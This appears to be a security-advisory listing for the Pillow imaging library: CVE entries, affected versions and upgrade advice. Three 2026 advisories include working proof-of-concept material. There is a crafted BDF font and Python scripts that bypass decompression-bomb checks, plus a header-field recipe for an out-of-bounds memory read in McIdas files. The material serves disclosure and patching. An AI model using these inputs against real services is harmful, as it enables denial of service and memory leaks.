Python/pillow/1.0


Python Imaging Library (fork)

https://pypi.org/project/pillow
HPND

31 Security Vulnerabilities

Pillow buffer overflow in ImagingPcdDecode

Published date: 2018-07-24T20:15:13Z
CVE: CVE-2016-2533
Links:

Buffer overflow in the ImagingPcdDecode function in PcdDecode.c in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file.

Affected versions: ["3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Uncontrolled Resource Consumption

Published date: 2021-03-18T19:55:21Z
CVE: CVE-2021-27922
Links:

Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large.

Affected versions: ["8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow buffer overflow vulnerability

Published date: 2024-04-03T03:30:30Z
CVE: CVE-2024-28219
Links:

In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy.

Affected versions: ["10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Published date: 2026-07-20T21:13:18Z
CVE: CVE-2026-55379
Links:

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88): ```python

width, height from attacker-controlled BBX width height x y line

try: im = Image.frombytes(1, (width, height), bitmap, hex, 1) except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new(1, (width, height)) # ← NO decompressionbomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ```

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes): STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT

Proof of Concept script: ```python

!/usr/bin/env python3

PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation import io, warnings warnings.filterwarnings(ignore)

from PIL.BdfFontFile import BdfFontFile from PIL.Image import decompressionbomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold

Show what Image.open() would do

warnings.filterwarnings(error, category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name_}) warnings.filterwarnings(ignore")

Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check

bdf = fSTARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT .encode()

print(f[*] BDF file size : {len(bdf)} bytes) print(f[*] Glyph size : {W} x {H} = {W*H:,} pixels) print(f[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel))

BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!

print(f[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated) print(fImage.open() path would have raised DecompressionBombError) ```

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Duplicate Advisory: Bundled libwebp in Pillow vulnerable

Published date: 2023-10-05T00:06:58Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-56pw-mpj4-fxww. This link is maintained to preserve external references.

Original Description

Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.

Affected versions: ["10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Out of bounds write in Pillow

Published date: 2021-03-29T16:35:16Z
CVE: CVE-2021-25289
Links:

An issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654.

Affected versions: ["8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Uncontrolled Resource Consumption in Pillow

Published date: 2020-04-01T16:36:44Z
CVE: CVE-2019-19911
Links:

There is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer.

Affected versions: ["6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

Published date: 2026-07-20T21:08:40Z
CVE: CVE-2026-54060
Links:

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

Slow accumulation attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode 1, 1 bit/pixel) ~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output: [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file: ```python from PIL import BdfFontFile import io

Load a crafted BDF font with 256 glyphs each claiming height=65535

(each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)

compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold

font = BdfFontFile.BdfFontFile(open(crafted_256glyph.bdf, rb)) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ```

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process

Impact

  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths: - BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile() - BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() - PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile() - PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

Published date: 2026-07-20T21:08:13Z
CVE: CVE-2026-54058
Links:

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

# src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes claimed. Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */

Chain Summary

SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)

Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded image contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Buffer Overflow in Pillow

Published date: 2021-10-05T20:24:41Z
CVE: CVE-2021-34552
Links:

Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c.

